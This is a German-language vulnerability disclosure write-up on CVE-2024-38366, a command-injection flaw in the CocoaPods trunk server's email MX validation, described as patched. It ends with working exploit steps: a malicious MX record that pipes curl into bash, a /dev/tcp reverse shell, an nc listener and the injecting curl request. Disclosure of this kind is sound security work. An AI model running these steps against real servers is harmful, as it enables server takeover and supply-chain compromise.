CocoaPods RCE-Schwachstelle CVE-2024-38366
Dieses Repository bietet einen etwas tieferen Einblick in den Forschungsprozess und die Gedanken hinter der RCE-Schwachstelle, die im Rahmen der Analyse und des Brechens des CocoaPods-Paketmanagers entdeckt wurde.
Der Forschungsbeitrag (Blogpost) kann hier gelesen werden: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
Der CocoaPods-Trunk-Server dient als zentrales Repository und Verteilungsplattform für CocoaPods, wichtige Bibliotheken und Frameworks, die im Apple-Ökosystem, insbesondere bei der Entwicklung für iOS und macOS, verwendet werden. Sein Hauptzweck ist es, das nahtlose Teilen und Verwalten dieser Open-Source-Ressourcen zu ermöglichen.
Der Entwicklerregistrierungsprozess beim CocoaPods-Trunk-Server besteht aus den folgenden Schritten, um die Plattformsicherheit zu gewährleisten:
Die neueste Version von trunk.cocoapods.org (master-Branch) wurde zum Zeitpunkt der Forschung getestet und in der Produktionsumgebung validiert. Die Schwachstelle wurde inzwischen gepatcht und ist nicht mehr ausnutzbar.
Die Grundursache der Schwachstelle ist die unzureichende Überprüfung des Validierungsschritts der E-Mail-Adressdomain (während des Entwicklerregistrierungsprozesses) und die unsichere Ausführung von Befehlen. Insbesondere kann ein Angreifer die Eingabe so manipulieren, dass sie die Validierung der Mail-Exchanger- (MX-) Einträge der Domain umgeht, was zur Möglichkeit führt, beliebige Betriebssystembefehle auf dem Trunk-Server zu injizieren und auszuführen.
Dies stellt eine ernsthafte Bedrohung für die Sicherheit der Plattform dar, da es unbefugten Personen ermöglicht, die Integrität des Servers und die Vertraulichkeit der gespeicherten Daten zu gefährden sowie dessen Betrieb zu stören.
APP/CONTROLLERS/APP_CONTROLLER.RB
Die Datei des App-Controllers definiert die API-Endpunkte des Trunk-Servers, einschließlich des SessionsContoller, der über den Pfad /api/v1/sessions bedient wird.
APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB
Um eine neue Sitzung zu generieren, bedient die Datei des Sitzungscontrollers den HTTP-POST-API-Endpunkt – /api/v1/sessions.
Der Endpunkt verarbeitet die vom Benutzer bereitgestellten Registrierungsdetails, einschließlich der Parameter „email", „name" und „description". Anschließend wird die Methode Owner.find_or_initialize_by_email_and_name aufgerufen.
Der Funktionsaufruf enthält die Werte der Parameter „email" und „name".
APP/MODELS/OWNER.RB
Die Datei des Owner-Modells definiert die Methode find_or_initialize_by_email_and_name, die überprüft, ob die angegebene E-Mail existiert. Falls nicht, wird ein neues Owner-Objekt mit den oben genannten Parametern erstellt.
Sobald das Objekt erstellt wurde, und bevor es in der Datenbank gespeichert wird, führt das Sequel-Framework die Methode validate aus. Diese Methode enthält mehrere Validierungen, die im RFC-822-Paket zu finden sind.
Wir konzentrierten uns auf die Ausführung der Methode validates_mx_record, die das RFC-822-Paket verwendet.
RFC-822/LIB/RFC822.RB
Die Bibliothek implementiert die Methode mx_records, um zu überprüfen, ob die angegebene Domain gültig ist. Darüber hinaus implementiert sie eine Validierung der Erreichbarkeit der MX-Einträge mit dem Befehl host.
Die Methode vergleicht zunächst die gesamte E-Mail-Adresse mit dem definierten E-Mail-Regex-Muster – es wird überprüft, ob die angegebene E-Mail dem Muster entspricht. Wenn das Muster nicht übereinstimmt, gibt die Methode leer zurück und fährt nicht mit den aktiven Prüfungen über den Befehl host fort.
Die Methode mx_records ruft dann die Methode raw_mx_records auf, die den E-Mail-Wert manipuliert – sie extrahiert nur den Domain-Teil (alles nach dem letzten '@') und ruft die Methode host_mx mit der extrahierten Domain als Parameterwert auf.
Die Methode host_mx führt einen beliebigen Betriebssystembefehl aus, der mit der vom Benutzer bereitgestellten E-Mail-Domain verkettet wird.
Der endgültige ausgeführte Befehl lautet wie folgt:
/usr/bin/env host -t MX <DOMAIN>
Um die Ausnutzung der Schwachstelle einzuleiten, sendeten wir eine HTTP-POST-Anfrage an den API-Endpunkt /api/v1/sessions. Im Anforderungstext lieferten wir eine manipulierte Eingabe.
Das Hauptziel war es, den Validierungsprozess der MX-Einträge auszulösen, was letztendlich zur Auswertung und Ausführung unserer bösartigen Benutzereingabe führen sollte, was die Ausführung von Betriebssystembefehlen auf dem Trunk-Server zur Folge hatte.
Um unser Ziel zu erreichen und eine vollständig interaktive Reverse-Shell zu etablieren, mussten wir einige Hürden überwinden:
reef<span>@evasec.io|curl{IFS}evasec.io nicht effektiv, da der Server sie in Kleinbuchstaben verarbeiten würde.reef<span>@evasec.io|{curl,evasec.io} aufgrund der folgenden Zeichen, die die Bibliothek entfernen würde, nicht funktionieren würde:
" " (Leerzeichen)"().,<>@[]Um unsere Mission abzuschließen, mussten wir die Mauer überwinden, auf die wir gestoßen waren.
Wir entdeckten, dass der Befehl /usr/bin/env host -t MX <DOMAIN> eine Ausgabe liefert, die wir kontrollieren können, was es uns ermöglicht, diese Herausforderungen zu umgehen.
Die Ausgabe konnte genutzt werden, indem sie in einen Bash-Befehl weitergeleitet (gepipet) wurde, was eine Möglichkeit zur Codeausführung schuf.
Zum Beispiel:
/usr/bin/env host -t MX <DOMAIN> | bash
Wir manipulierten einen MX-Eintrag in unserer Domain, die über Route53 auf AWS verwaltet wurde. Der MX-Eintrag enthält die folgende gültige Zeichenfolge:
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
Ziel: Die erstellte Payload sollte während der Validierung der Domain durch den host-Befehl ausgeführt werden.
Um die Remote-Codeausführung einzuleiten, riefen wir den API-Endpunkt POST /api/v1/sessions auf und verwendeten die folgende Payload:
anything<span>@owned.domain|bash
Wobei die Domain „owned.domain" den wie oben beschrieben bösartig erstellten MX-Eintrag darstellt.
Payload-Server vorbereiten: Richten Sie einen Webserver ein, der die Datei payload.txt bereitstellt, die den auf dem Trunk-Server auszuführenden Code enthält.
sh -i >& /dev/tcp/SERVER/1337 0>&1Einen bösartigen MX-Eintrag erstellen: Erstellen Sie einen neuen MX-Eintrag, der eine Payload enthält, die dazu dient, die vorbereitete Payload aus Schritt 1 abzurufen und auszuführen.
10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.comReverse-Shell-Listener einrichten: Starten Sie einen Reverse-Shell-Listener, z. B. netcat (nc), auf einem öffentlich erreichbaren Port.
nc -lvp 1337Reverse-Shell ausführen: Senden Sie eine HTTP-Anfrage, um die Ausführung der Reverse-Shell auszulösen. Dies kann mit einem curl-Befehl erfolgen.
curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'
In unserer Forschung haben wir eine kritische Sicherheitslücke im CocoaPods-Trunk-Server identifiziert, die die Ausführung beliebiger Betriebssystembefehle (vollständig interaktive Remote-Codeausführung) ermöglicht.
Wenn ein unbefugter Bedrohungsakteur den Server kompromittiert, könnte er/sie potenziell bösartigen Code in weit verbreitete Bibliotheken einschleusen. Dies könnte zu schwerwiegenden Sicherheitslücken in unzähligen iOS- und macOS-Anwendungen führen, die auf diese kompromittierten CocoaPods angewiesen sind.
Zusätzlich könnte der Bedrohungsakteur Pod-Spezifikationen manipulieren, die Verteilung legitimer Bibliotheken stören oder weitreichende Störungen im CocoaPods-Ökosystem verursachen.